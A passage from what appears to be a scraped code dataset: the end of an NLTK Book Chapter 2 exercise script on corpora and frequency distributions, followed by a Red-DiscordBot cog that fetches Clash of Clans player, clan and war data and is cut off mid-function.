'citizen'] # the words we want to pay attention to\r\n if w.lower().startswith(target))\r\ncfd.plot() # Evolution over time of the words 'America' and 'citizen'\r\n\r\n# Some of the Corpora and Corpus Samples Distributed with NLTK: For information about downloading and using them, please consult the NLTK website.\r\n# https://www.nltk.org/book/ch02.html\r\n\r\n# There is also texts in other languages:\r\nspanish = nltk.corpus.cess_esp.words()\r\nfloresta = nltk.corpus.floresta.words()\r\nindian = nltk.corpus.indian.words('hindi.pos')\r\nudhr_fileids = nltk.corpus.udhr.fileids() # universal declaration of human rights in over 300 languages\r\n\r\n# Let's use a conditional frequency distribution to examine the differences in word lengths for a selection of languages included in the udhr corpus.\r\nfrom nltk.corpus import udhr\r\nlanguages = ['Chickasaw', 'English', 'German_Deutsch', 'Greenlandic_Inuktikut', 'Hungarian_Magyar', 'Ibibio_Efik', 'Spanish_Espanol']\r\ncfd = nltk.ConditionalFreqDist(\r\n (lang, len(word))\r\n for lang in languages # Now the condition is the name of the language\r\n for word in udhr.words(lang + '-Latin1')) # It exploits the fact that the filename for each language is the language name followed by '-Latin1'\r\ncfd.plot(cumulative=True)\r\n\r\n# For example, we can tabulate the cumulative frequency data just for two languages, and for words less than 10 characters long, as shown below. \r\ncfd.tabulate(conditions=[\"English\", \"German_Deutsch\"],\r\n samples=range(10), cumulative=True)\r\n# We interpret the last cell on the top row to mean that 1,638 words of the English text have 9 or fewer letters.\r\n\r\n# Now we plot a frequency distribution of the letters of the text using nltk.FreqDist(raw_text).plot() of spanish\r\nraw_text = udhr.raw('Spanish-Latin1')\r\nnltk.FreqDist(raw_text).plot()\r\n\r\n# Basic Corpus Functionality defined in NLTK: more documentation can be found using help(nltk.corpus.reader) and by reading the online Corpus HOWTO at \r\n# http://nltk.org/howto.\r\n\r\n# YOUR TURN: Working with the news and romance genres from the Brown Corpus, find out which days of the week are most newsworthy, and which are most romantic.\r\n# Define a variable called days containing a list of days of the week, i.e. ['Monday', ...]. Now tabulate the counts for these words using\r\n# cfd.tabulate(samples=days). Now try the same thing using plot in place of tabulate. You may control the output order of days with the help of an extra\r\n# parameter: samples=['Monday', ...].\r\ngenres = ['news', 'romance']\r\ndays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\r\n# Now, we obtain counts for each genre of interest\r\ncfd = nltk.ConditionalFreqDist(\r\n (genre, word)\r\n for genre in genres\r\n for word in brown.words(categories=genre))\r\ncfd.tabulate(samples=days)\r\ncfd.plot(samples=days)\r\n\r\n# Generating Random Text with Bigrams: the function generate_model() contains a simple loop to generate text.\r\ndef generate_model(cfdist, word, num=15):\r\n for i in range(num):\r\n print(word, end=' ')\r\n word = cfdist[word].max()\r\n\r\ntext = nltk.corpus.genesis.words('english-kjv.txt')\r\nbigrams = nltk.bigrams(text)\r\ncfd = nltk.ConditionalFreqDist(bigrams)\r\n\r\n# This program obtains all bigrams from the text of the book of Genesis, then constructs a conditional frequency distribution to record which words are most \r\n# likely to follow a given word; e.g., after the word living, the most likely word is creature; the generate_model() function uses this data, and a seed word,\r\n# to generate random text.\r\nprint(\"Frequencies of the word 'living' and its bigrams: \\n{}\".format(cfd['living']))\r\ngenerate_model(cfd, 'living')\r\n\r\n\r\n# WORDLIST CORPORA\r\ndef unusual_words(text):\r\n text_vocab = set(w.lower() for w in text if w.isalpha()) # here we set the vocabulary of a text\r\n english_vocab = set(w.lower() for w in nltk.corpus.words.words()) # here we set the vocabulary of the English dictionary\r\n unusual = text_vocab - english_vocab # here we set the words that are in the text but not in the English dictionary\r\n return sorted(unusual)\r\n\r\nprint(unusual_words(webtext.words('singles.txt'))) # unusual words from the singles.txt corpus\r\nprint(unusual_words(gutenberg.words('shakespeare-macbeth.txt'))) # unusual words from Macbeth\r\nprint(unusual_words(nltk.corpus.nps_chat.words())) # unusual words from the chat corpus\r\n\r\n# Function to define how many words aren't stop words\r\ndef content_fraction(text):\r\n stopwords = nltk.corpus.stopwords.words('english')\r\n content = [w for w in text if w.lower() not in stopwords]\r\n return len(content)/len(text)\r\n\r\nprint(content_fraction(nltk.corpus.reuters.words())) # fraction of words in the reuters corpora that aren't stopwords\r\n\r\n# Word Puzzle\r\nwordlist = nltk.corpus.words.words() # words in the English dictionary\r\npuzzle = nltk.FreqDist('egivrvonl') # the letters we can use\r\nobligatory = 'r'\r\nminimum = 4\r\nwords = [w for w in wordlist if len(w) >= minimum and obligatory in w and nltk.FreqDist(w) <= puzzle]\r\n\r\n\r\n# Names list and ambiguous names for male and female\r\nmale_names = nltk.corpus.names.words('male.txt')\r\nfemale_names = nltk.corpus.names.words('female.txt')\r\nambiguous = [w for w in male_names if w in female_names]\r\n\r\n# Seeing whether a name is female or male depending on its last letter\r\ncfd = nltk.ConditionalFreqDist(\r\n (sex, name[-1])\r\n for sex in nltk.corpus.names.fileids()\r\n for name in nltk.corpus.names.words(sex))\r\ncfd.plot()\r\n\r\n# USE BY SPEECH: not interested for the moment\r\n\r\n# 2. Use the corpus module to explore austen-persuasion.txt. How many word tokens does this book have? How many word types?\r\npersuasion = gutenberg.words(gutenberg.fileids()[1])\r\nn_tokens = len(persuasion) # number of tokens\r\nn_word_types = len(set(persuasion)) # number of word types (unique words)\r\n\r\n# 8. Define a conditional frequency distribution over the Names corpus that allows you to see which initial letters are more frequent for males vs. females\r\nmale_names = nltk.corpus.names.words('male.txt') # 2943 names\r\nfemale_names = nltk.corpus.names.words('female.txt') # 5001 female names\r\n# Seeing whether a name is female or male depending on its first letter\r\ncfd = nltk.ConditionalFreqDist(\r\n (sex, name[0])\r\n for sex in nltk.corpus.names.fileids()\r\n for name in nltk.corpus.names.words(sex))\r\ncfd.plot()\r\n# As it is really imbalances, lets do the same but dividing by the total number of names to see it in the same scale\r\ncfd_normalised = cfd\r\nfor sex in nltk.corpus.names.fileids():\r\n for key in cfd[sex].keys():\r\n cfd_normalised[sex][key] /= len(nltk.corpus.names.words(sex))\r\ncfd_normalised.plot()\r\n\r\n# 9. Pick a pair of texts and study the differences between them, in terms of vocabulary, vocabulary richness, genre, etc. Can you find pairs of words which\r\n# have quite different meanings across the two texts, such as monstrous in Moby Dick and in Sense and Sensibility?\r\n# For this exercise I will choose Macbeth (I saw it recently) and Hamlet. Two works from Shakespear that are about very different things\r\nmacbeth = gutenberg.words('shakespeare-macbeth.txt')\r\nhamlet = gutenberg.words('shakespeare-hamlet.txt')\r\n # a) Vocabulary\r\nprint(\"Macbeth has {} words and Hamlet has {} words\".format(len(macbeth), len(hamlet)))\r\n # b) Vocabulary Richness\r\nprint(\"Macbeth has {} unique words and Hamlet has {} unique words\".format(len(set(macbeth)), len(set(hamlet))))\r\n# Now, I will remove the stopwords from both texts and check it again\r\nstopwords = nltk.corpus.stopwords.words('english')\r\nclean_macbeth = [w for w in macbeth if w.lower() not in stopwords]\r\nclean_hamlet = [w for w in hamlet if w.lower() not in stopwords]\r\n # a) Vocabulary\r\nprint(\"Macbeth has {} words and Hamlet has {} words\".format(len(clean_macbeth), len(clean_hamlet)))\r\n # b) Vocabulary Richness\r\nprint(\"Macbeth has {} unique words and Hamlet has {} unique words\".format(len(set(clean_macbeth)), len(set(clean_hamlet))))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"moqidimoc/NLP-NLTK-Book","sub_path":"Chapter 2.py","file_name":"Chapter 2.py","file_ext":"py","file_size_in_byte":12266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23491203996","text":"import asyncio\nimport logging\nimport math\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import Dict, Optional\n\nimport aiohttp\nimport discord\nfrom redbot.core import Config, commands\nfrom redbot.core.utils.menus import (menu, next_page, prev_page,\n start_adding_reactions)\nfrom redbot.core.utils.predicates import ReactionPredicate\n\nfrom .converters import EmojiConverter, TagConverter, UnlinkTagConverter\n\nlogger = logging.getLogger(\"red.finger_cogs.clashofclans\")\n\n\nasync def has_account(ctx) -> bool:\n account = await ctx.cog.config.user(ctx.author).accounts()\n\n if not account:\n raise commands.UserFeedbackCheckFailure(\n f\"You must have an account to run this command. You can do this with `{ctx.prefix}account link <playerTag>`.\"\n )\n\n return True\n\n\nclass TroopTypes(Enum):\n elixir = \"Elixir Troops\"\n dark = \"Dark Elixir Troops\"\n siege = \"Siege Machines\"\n pet = \"Pets\"\n builder = \"Builder Base Troops\"\n hero = \"Heroes\"\n espell = \"Elixir Spells\"\n dspell = \"Dark Elixir Spells\"\n\n\nclass ClashOfClans(commands.Cog):\n BASE_URL = \"https://api.clashofclans.com/v1/\"\n\n def __init__(self, bot):\n self.bot = bot\n\n self.config = Config.get_conf(self, identifier=93103499209)\n\n self.townhalls = {\n 1: \"https://static.wikia.nocookie.net/clashofclans/images/f/fd/Town_Hall1.png/\",\n 2: \"https://static.wikia.nocookie.net/clashofclans/images/7/7d/Town_Hall2.png/\",\n 3: \"https://static.wikia.nocookie.net/clashofclans/images/d/dd/Town_Hall3.png/\",\n 4: \"https://static.wikia.nocookie.net/clashofclans/images/e/e7/Town_Hall4.png/\",\n 5: \"https://static.wikia.nocookie.net/clashofclans/images/a/a3/Town_Hall5.png/\",\n 6: \"https://static.wikia.nocookie.net/clashofclans/images/5/52/Town_Hall6.png/\",\n 7: \"https://static.wikia.nocookie.net/clashofclans/images/7/75/Town_Hall7.png/\",\n 8: \"https://static.wikia.nocookie.net/clashofclans/images/f/fa/Town_Hall8.png/\",\n 9: \"https://static.wikia.nocookie.net/clashofclans/images/e/e0/Town_Hall9.png/\",\n 10: \"https://static.wikia.nocookie.net/clashofclans/images/5/5c/Town_Hall10.png/\",\n 11: \"https://static.wikia.nocookie.net/clashofclans/images/9/96/Town_Hall11.png/\",\n 12: \"https://static.wikia.nocookie.net/clashofclans/images/c/c7/Town_Hall12-1.png/\",\n 13: \"https://static.wikia.nocookie.net/clashofclans/images/9/98/Town_Hall13-1.png/\",\n 14: \"https://static.wikia.nocookie.net/clashofclans/images/e/e0/Town_Hall14-1.png/\",\n }\n\n # If this is outdated create a pr or issue\n self.all_troops = {\n \"barbarian\": \"elixir\",\n \"archer\": \"elixir\",\n \"goblin\": \"elixir\",\n \"giant\": \"elixir\",\n \"wall breaker\": \"elixir\",\n \"balloon\": \"elixir\",\n \"wizard\": \"elixir\",\n \"healer\": \"elixir\",\n \"dragon\": \"elixir\",\n \"p.e.k.k.a\": \"elixir\",\n \"miner\": \"elixir\",\n \"electro dragon\": \"elixir\",\n \"yeti\": \"elixir\",\n \"dragon rider\": \"elixir\",\n \"minion\": \"dark\",\n \"hog rider\": \"dark\",\n \"valkyrie\": \"dark\",\n \"golem\": \"dark\",\n \"witch\": \"dark\",\n \"lava hound\": \"dark\",\n \"bowler\": \"dark\",\n \"ice golem\": \"dark\",\n \"headhunter\": \"dark\",\n \"wall wrecker\": \"siege\",\n \"battle blimp\": \"siege\",\n \"stone slammer\": \"siege\",\n \"siege barracks\": \"siege\",\n \"log launcher\": \"siege\",\n \"l.a.s.s.i\": \"pet\",\n \"electro owl\": \"pet\",\n \"mighty yak\": \"pet\",\n \"unicorn\": \"pet\",\n \"raged barbarian\": \"builder\",\n \"sneaky archer\": \"builder\",\n \"boxer giant\": \"builder\",\n \"beta minion\": \"builder\",\n \"bomber\": \"builder\",\n \"cannon cart\": \"builder\",\n \"night witch\": \"builder\",\n \"drop ship\": \"builder\",\n \"super p.e.k.k.a\": \"builder\",\n \"hog glider\": \"builder\",\n \"baby dragon\": [\"elixir\", \"builder\"],\n \"barbarian king\": \"hero\",\n \"archer queen\": \"hero\",\n \"grand warden\": \"hero\",\n \"royal champion\": \"hero\",\n \"battle machine\": \"hero\",\n \"lightning spell\": \"espell\",\n \"healing spell\": \"espell\",\n \"rage spell\": \"espell\",\n \"jump spell\": \"espell\",\n \"freeze spell\": \"espell\",\n \"clone spell\": \"espell\",\n \"invisibility spell\": \"espell\",\n \"poison spell\": \"dspell\",\n \"earthquake spell\": \"dspell\",\n \"haste spell\": \"dspell\",\n \"skeleton spell\": \"dspell\",\n \"bat spell\": \"dspell\",\n }\n\n self.non_army_emoji_names = {\n \"gold\": \"Gold\",\n \"elixir\": \"Elixir\",\n \"dark elixir\": \"Dark Elixir\",\n }\n\n self.millnames = [\"\", \"K\", \"M\", \"B\"]\n\n self.default_controls = {\"⬅️\": prev_page, \"➡️\": next_page}\n\n self.default_headers: Dict = {\"Authorization\": \"\"}\n\n self.session = aiohttp.ClientSession()\n\n self.issue_response = \"There was an issue with the request. Please check the logs to find the error.\"\n\n self.default_global = {\"token\": None, \"emojis\": self.gen_default_emojis()}\n self.default_user = {\"accounts\": [], \"clan\": None}\n\n self.config.register_global(**self.default_global)\n self.config.register_user(**self.default_user)\n\n self.emoji_loop = self.bot.loop.create_task(self.initialize())\n\n def gen_default_emojis(self):\n emojis = {troop_name: None for troop_name in self.all_troops.keys()}\n\n for item_name in self.non_army_emoji_names.keys():\n emojis[item_name] = None\n\n return emojis\n\n async def update_headers(self):\n token = await self.config.token()\n if not token:\n return\n\n self.default_headers[\"Authorization\"] = \"Bearer \" + token\n\n async def initialize(self):\n await self.bot.wait_until_ready()\n await self.generate_emojis()\n await self.update_headers()\n\n async def generate_emojis(self):\n emojis = await self.config.emojis()\n\n self.emojis = {}\n\n for emoji_name, emoji_id in emojis.items():\n emoji = self.bot.get_emoji(emoji_id) if emoji_id else None\n fallback = self.non_army_emoji_names.get(emoji_name) or emoji_name\n\n self.emojis[emoji_name] = {\"emoji\": emoji, \"fallback\": fallback}\n\n def cog_unload(self):\n if self.emoji_loop:\n self.emoji_loop.cancel()\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.session.close())\n\n async def red_delete_data_for_user(self, requester, user_id):\n for user in await self.config.all_users():\n if user_id == user:\n await self.config.user_from_id(user_id).clear()\n\n @commands.group(name=\"clash\")\n async def clash(self, ctx):\n \"\"\"The group for most clash of clans cog commands.\"\"\"\n\n @clash.command(aliases=[\"profile\"])\n async def player(self, ctx, playerTag: Optional[TagConverter]):\n \"\"\"Displays the stats for you, or someone else.\n\n **playerTag**, leaving this blank will show you your linked account.\n \"\"\"\n\n tags = await self.config.user(ctx.author).accounts()\n\n if playerTag is None:\n if not tags:\n return await ctx.send(\n f\"Please enter a valid player tag or link your account using `{ctx.prefix}account link`.\"\n )\n\n playerTags = tags\n else:\n playerTags = [playerTag]\n\n if len(playerTags) == 1:\n data = await self.request(f\"players/%23{playerTags[0]}\")\n\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Player was not found.\")\n\n return await ctx.send(\n embed=await self.generate_user_embed(data, await ctx.embed_colour())\n )\n\n embeds = []\n\n for page_num, tag in enumerate(playerTags, start=1):\n data = await self.request(f\"players/%23{tag}\")\n\n if not data or data == 404:\n continue\n\n embed = await self.generate_user_embed(data, await ctx.embed_colour())\n\n embed.set_footer(text=f\"User {page_num} of {len(tags)}\")\n\n embeds.append(embed)\n\n if not embeds:\n return await ctx.send(\"Clan was not found.\")\n\n await menu(ctx, embeds, self.default_controls)\n\n @clash.command(aliases=[\"unit\"])\n async def army(self, ctx, playerTag: Optional[TagConverter]):\n \"\"\"Get the levels of troops, spells and heros of you, or someone else.\n\n **playerTag**, leaving this blank will show you your linked account.\n \"\"\"\n\n tags = await self.config.user(ctx.author).accounts()\n\n if playerTag is None:\n if not tags:\n return await ctx.send(\n f\"Please enter a valid clan tag or link your clan using `{ctx.prefix}clash linkclan`.\"\n )\n\n playerTags = tags\n\n else:\n playerTags = [playerTag]\n\n embed = discord.Embed(colour=await ctx.embed_colour())\n\n for tag in playerTags:\n data = await self.request(f\"players/%23{tag}\")\n\n if not data or data == 404:\n continue\n\n embed.set_author(\n name=f\"Troop levels for {data['name']}\",\n url=f\"https://link.clashofclans.com/en?action=OpenPlayerProfile&tag=%23{tag}\",\n )\n\n army = {\n \"elixir\": {},\n \"dark\": {},\n \"siege\": {},\n \"pet\": {},\n \"builder\": {},\n \"espell\": {},\n \"dspell\": {},\n }\n\n dark_baby_dragon = False\n\n for troop in data[\"troops\"]:\n try:\n troop_type = self.all_troops[troop[\"name\"].lower()]\n except KeyError:\n continue\n\n if troop[\"name\"] == \"Baby Dragon\":\n if not dark_baby_dragon:\n troop_type = \"elixir\"\n dark_baby_dragon = True\n else:\n troop_type = \"builder\"\n\n army[troop_type][troop[\"name\"]] = {\n \"level\": troop[\"level\"],\n \"maxLevel\": troop[\"maxLevel\"],\n }\n\n for spell in data[\"spells\"]:\n spell_type = self.all_troops[spell[\"name\"].lower()]\n\n army[spell_type][spell[\"name\"]] = {\n \"level\": spell[\"level\"],\n \"maxLevel\": spell[\"maxLevel\"],\n }\n\n for type, troops in army.items():\n text = \" \".join(\n f\"**{self.get_emoji(troop_name)}** `{troop_data['level']}/{troop_data['maxLevel']}`\"\n for troop_name, troop_data in troops.items()\n )\n if text:\n embed.add_field(\n name=f\"__**{TroopTypes[type].value}**__\",\n value=text,\n inline=False,\n )\n\n await ctx.send(embed=embed)\n\n @clash.command()\n async def clan(self, ctx, clanTag: Optional[TagConverter]):\n \"\"\"Displays the stats for the given clan tag.\n\n **clanTag**, leaving this blank will show you your linked clan.\n \"\"\"\n\n tag = await self.config.user(ctx.author).clan()\n\n if clanTag is None:\n if not tag:\n return await ctx.send(\n f\"Please enter a valid clan tag or link your clan using `{ctx.prefix}clash linkclan`.\"\n )\n\n clanTag = clanTag\n\n data = await self.request(f\"clans/%23{clanTag}\")\n\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n embed = discord.Embed(\n description=f\"**Level {data['clanLevel']}, Members {data['members']}, {data['clanPoints']} Trophies, {data['clanVersusPoints']} versus trophies\\n\\n{data['description']}\",\n colour=await ctx.embed_colour(),\n )\n\n embed.set_author(\n name=f\"{data['name']} ({data['tag']})\",\n url=f\"https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clanTag}\",\n icon_url=data[\"badgeUrls\"][\"small\"],\n )\n\n embed.set_thumbnail(url=data[\"badgeUrls\"][\"large\"])\n\n tags = \"\\n\".join(f\"- {tag['name']}\" for tag in data[\"labels\"])\n\n leader = \"\"\n for member in data[\"memberList\"]:\n if member[\"role\"] == \"leader\":\n leader = member\n break\n\n tieslosses = \"\"\n\n if data[\"isWarLogPublic\"]:\n tieslosses = f\", {data['warLosses']} lost, {data['warTies']} ties\"\n\n embed.add_field(\n name=\"__**Clan Info**__\",\n value=f\"**Tags**\\n{tags}\\n\\n**Clan Leader**\\n[{leader['name']} ({leader['tag']})](https://link.clashofclans.com/en?action=OpenPlayerProfile&tag=%23{leader['tag'][1:]})\\n\\n**Location**\\n{data['location']['name']}\\n\\n**Requirements**\\n{'Invite Only' if data['type'] == 'inviteOnly' else 'Open'}\\n{data['requiredTrophies']} trophies required\\n{data['requiredVersusTrophies']} versus trophies required\\nTownhall {data['requiredTownhallLevel']} required\\n\\n**War Log**\\n{'Public' if data['isWarLogPublic'] else 'Private'}\",\n )\n\n embed.add_field(\n name=\"__**War and League**__\",\n value=f\"**War League**\\n{data['warLeague']['name']}\\n**War Stats**\\n{data['warWins']} won{tieslosses}\\n**Win Streak**\\n{data['warWinStreak']}\",\n inline=False,\n )\n\n await ctx.send(embed=embed)\n\n @clash.command(aliases=[\"members\"])\n async def clanmembers(self, ctx, clanTag: Optional[TagConverter]):\n \"\"\"See clan members of a choosen clan.\n\n **clanTag**, leaving this blank will show you your linked clan.\n \"\"\"\n\n tag = await self.config.user(ctx.author).clan()\n\n if clanTag is None:\n if not tag:\n return await ctx.send(\n f\"Please enter a valid clan tag or link your clan using `{ctx.prefix}account linkclan`.\"\n )\n\n clanTag = tag\n\n data = await self.request(f\"clans/%23{clanTag}\")\n\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n members = \"\\n\".join(\n f\"`{member['tag']}` {member['name']}\" for member in data[\"memberList\"]\n )\n\n embed = discord.Embed(\n title=\"Tag Name\",\n description=members,\n color=await ctx.embed_colour(),\n )\n embed.set_author(\n name=f\"Members of {data['name']} ({data['tag']})\",\n url=f\"https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clanTag}\",\n )\n\n await ctx.send(embed=embed)\n\n @clash.command(aliases=[\"donations\"])\n async def clandonations(self, ctx, clanTag: Optional[TagConverter]):\n \"\"\"Shows donation data from most donated to least of the clan.\n\n **clanTag**, leaving this blank will show you your linked clan.\n \"\"\"\n\n tag = await self.config.user(ctx.author).clan()\n\n if clanTag is None:\n if not tag:\n return await ctx.send(\n f\"Please enter a valid clan tag or link your clan using `{ctx.prefix}account linkclan`.\"\n )\n\n clanTag = tag\n\n data = await self.request(f\"clans/%23{clanTag}\")\n\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n donation_data = {\n member[\"donations\"]: {\n \"name\": member[\"name\"],\n \"received\": member[\"donationsReceived\"],\n \"donated\": member[\"donations\"],\n }\n for member in data[\"memberList\"]\n }\n\n sorted_keys = sorted(list(donation_data), reverse=True)\n\n donation_description = \"\"\n\n for position, key in enumerate(sorted_keys, start=1):\n user_data = donation_data[key]\n donation_description += f\"{position} {user_data['donated']} {user_data['received']} {user_data['name']}\\n\"\n\n embed = discord.Embed(\n title=\"# Don Rec Name\",\n description=f\"```{donation_description}```\",\n colour=await ctx.embed_colour(),\n )\n embed.set_author(\n name=f\"Top Donations of {data['name']} ({data['tag']})\",\n url=f\"https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clanTag}\",\n )\n\n await ctx.send(embed=embed)\n\n @clash.command(aliases=[\"war\"])\n async def clanwar(self, ctx, clanTag: Optional[TagConverter]):\n \"\"\"Shows current war statistics of choosen clan.\n\n **clanTag**, leaving this blank will show you your linked clan.\n \"\"\"\n\n tag = await self.config.user(ctx.author).clan()\n\n if clanTag is None:\n if not tag:\n return await ctx.send(\n f\"Please enter a valid clan tag or link your clan using `{ctx.prefix}account linkclan`.\"\n )\n\n clanTag = tag\n\n data = await self.request(f\"clans/%23{clanTag}/currentwar\")\n\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n if data[\"state\"] == \"notInWar\":\n return await ctx.send(\"This clan is not currently in a war.\")\n\n embed = discord.Embed(colour=await ctx.embed_colour())\n embed.set_author(\n name=f\"Current war of {data['clan']['name']}\",\n url=f\"https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clanTag}\",\n )\n\n opponent_data = data[\"opponent\"]\n\n embed.add_field(\n name=\"__**Opponent**__\",\n value=f\"[{opponent_data['name']}({opponent_data['tag']})](https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{opponent_data['tag'][1:]})\",\n inline=False,\n )\n\n state = data[\"state\"]\n\n timestamp = 0\n\n unformated_timestamp = (\n data[\"startTime\"] if state == \"preparation\" else data[\"endTime\"]\n )\n timestamp = str(\n datetime.strptime(unformated_timestamp, \"%Y%m%dT%H%M%S.%fZ\").timestamp()\n )\n\n state_text = f\"{state.title()}\\nTime until {'battle day' if state == 'preparation' else 'end of war'}: <t:{timestamp[:-2]}:R>\"\n\n embed.add_field(\n name=\"__**War Info**__\",\n value=f\"**Team Size:** {data['teamSize']}\\n**Attacks per Member:** {data['attacksPerMember']}\\n\\n**War State**\\n{state_text}\",\n )\n\n embed.add_field(\n name=\"__**War Stats**__\",\n value=f\"**Ally**\\n{data['clan']['attacks']} Attacks\\n{data['clan']['stars']} Stars\\n{data['clan']['destructionPercentage']}% Destruction\\n\\n**Opponent**\\n{data['opponent']['attacks']} Attacks\\n{data['opponent']['stars']} Stars\\n{data['opponent']['destructionPercentage']}% Destruction\",\n inline=False,\n )\n\n await ctx.send(embed=embed)\n\n @clash.command(aliases=[\"token\"])\n @commands.is_owner()\n async def settoken(self, ctx, token: str):\n \"\"\"Sets the token required to make requests to the Clash of Clans API.\n\n You can request one at [The Clash of Clans developer page](http://developer.clashofclans.com).\n \"\"\"\n\n show_verified_text = True\n\n await self.config.token.set(token)\n await self.update_headers()\n if ctx.channel.permissions_for(ctx.guild.me).manage_messages:\n await ctx.message.delete()\n else:\n show_verified_text = False\n\n await ctx.send(\n f\"The authorization token has been updated. {'I have deleted your message to keep your token safe!' if show_verified_text else ''}\"\n )\n\n @clash.command(aliases=[\"reset\"])\n @commands.is_owner()\n async def resettoken(self, ctx):\n \"\"\"Resets your API token.\"\"\"\n\n msg = await ctx.send(\"Are you sure you want to reset your token?\")\n start_adding_reactions(msg, ReactionPredicate.YES_OR_NO_EMOJIS)\n\n pred = ReactionPredicate.yes_or_no(msg, ctx.author)\n await ctx.bot.wait_for(\"reaction_add\", check=pred)\n\n await msg.delete()\n\n if not pred.result:\n return await ctx.send(\"Reset cancelled, your token is still saved.\")\n\n await self.config.token.clear()\n await ctx.tick()\n\n @clash.command(aliases=[\"emoji\"])\n @commands.is_owner()\n async def setemoji(self, ctx, emoji: discord.Emoji, *, emoji_name: EmojiConverter):\n \"\"\"Set an emoji for a certain troop or thing.\n\n Check `[p]clash emojis` for what emojis you can set.\n \"\"\"\n\n async with self.config.emojis() as emojis:\n emojis[emoji_name] = emoji.id\n\n await self.generate_emojis()\n await ctx.send(f\"You have set the emoji {emoji} to {emoji_name}\")\n\n @clash.command(aliases=[\"emojis\"])\n @commands.is_owner()\n async def listemojis(self, ctx):\n \"\"\"List all of the things you can set emojis to.\"\"\"\n\n emojis = \" \".join(f\"`{emoji.title()}`\" for emoji in self.emojis.keys())\n embed = discord.Embed(\n title=\"These are all of the emoji options\",\n description=emojis,\n colour=await ctx.embed_colour(),\n )\n await ctx.send(embed=embed)\n\n @commands.group(name=\"account\")\n async def account(self, ctx):\n \"\"\"The group for account linking commands.\"\"\"\n\n @account.command()\n @commands.check(has_account)\n async def list(self, ctx, user: discord.User = None):\n \"\"\"View all of yours or someone elses clash accounts linked to their Discord account.\"\"\"\n\n if user is None:\n user = ctx.author\n\n user_data = await self.config.user(user).all()\n\n account_text = \"\"\n for tag in user_data[\"accounts\"]:\n data = await self.request(f\"players/%23{tag}\")\n\n if not data or data == 404:\n continue\n\n account_text += f\"[{data['name']} ({data['tag']})](https://link.clashofclans.com/en?action=OpenPlayerProfile&tag=%23{tag})\\n\\n\"\n\n if not account_text:\n return await ctx.send(\"This user has no accounts connected to them.\")\n\n embed = discord.Embed(colour=await ctx.embed_colour())\n embed.set_author(\n name=f\"{user.name} Connected Accounts\", icon_url=user.avatar_url\n )\n\n if user_data[\"clan\"]:\n clan_data = await self.request(f\"clans/%23{user_data['clan']}\")\n\n if not clan_data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n embed.add_field(\n name=\"Clan\",\n value=f\"[{clan_data['name']} ({clan_data['tag']})](https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clan_data['tag']})\",\n inline=False,\n )\n\n embed.add_field(name=\"Accounts\", value=account_text, inline=False)\n\n await ctx.send(embed=embed)\n\n @account.command()\n async def link(self, ctx, tag: TagConverter):\n \"\"\"Link your Clash of clans account to your Discord account.\"\"\"\n\n data = await self.request(f\"players/%23{tag}\")\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Player was not found.\")\n\n async with self.config.user(ctx.author).accounts() as tags:\n tags.append(tag)\n\n await ctx.send(f\"Your Discord account has been linked with **{data['name']}**.\")\n\n @account.command()\n async def unlink(self, ctx, tag: UnlinkTagConverter):\n \"\"\"Unlink your Clash of clans account from your Discord account.\"\"\"\n\n data = await self.request(f\"players/%23{tag}\")\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Player was not found.\")\n\n async with self.config.user(ctx.author).accounts() as tags:\n tags.remove(tag)\n\n await ctx.send(\n f\"Your Discord account has been unlinked from **{data['name']}**.\"\n )\n\n @account.command()\n async def linkclan(self, ctx, tag: TagConverter):\n \"\"\"Link your Clash of clans clan to your Discord account.\"\"\"\n\n playerTag = await self.config.user(ctx.author).accounts()\n\n if not playerTag:\n return await ctx.send(\"You don't have an account linked.\")\n\n data = await self.request(f\"players/%23{playerTag[0]}\")\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n clan = data.get(\"clan\")\n if not clan:\n return await ctx.send(\"You are not in a clan.\")\n\n if clan[\"tag\"][1:] != tag:\n return await ctx.send(\"You are not in this clan.\")\n\n await self.config.user(ctx.author).clan.set(tag)\n\n await ctx.send(f\"Your Discord account has been linked to **{clan['name']}**.\")\n\n @account.command()\n async def unlinkclan(self, ctx, tag: UnlinkTagConverter):\n \"\"\"Unlink your Clash of clans clan from your Discord account.\"\"\"\n\n data = await self.request(f\"clans/%23{tag}\")\n if not data:\n return await ctx.send(self.issue_response)\n\n elif data == 404:\n return await ctx.send(\"Clan was not found.\")\n\n await self.config.user(ctx.author).clan.clear()\n\n await ctx.send(\n f\"Your Discord account has been unlinked from **{data['name']}**.\"\n )\n\n async def generate_user_embed(\n self, data: Dict, embed_colour: discord.Colour\n ) -> discord.Embed:\n\n townhall_image = self.townhalls[data[\"townHallLevel\"]]\n\n embed = discord.Embed(\n description=f\"**TH {data['townHallLevel']}, 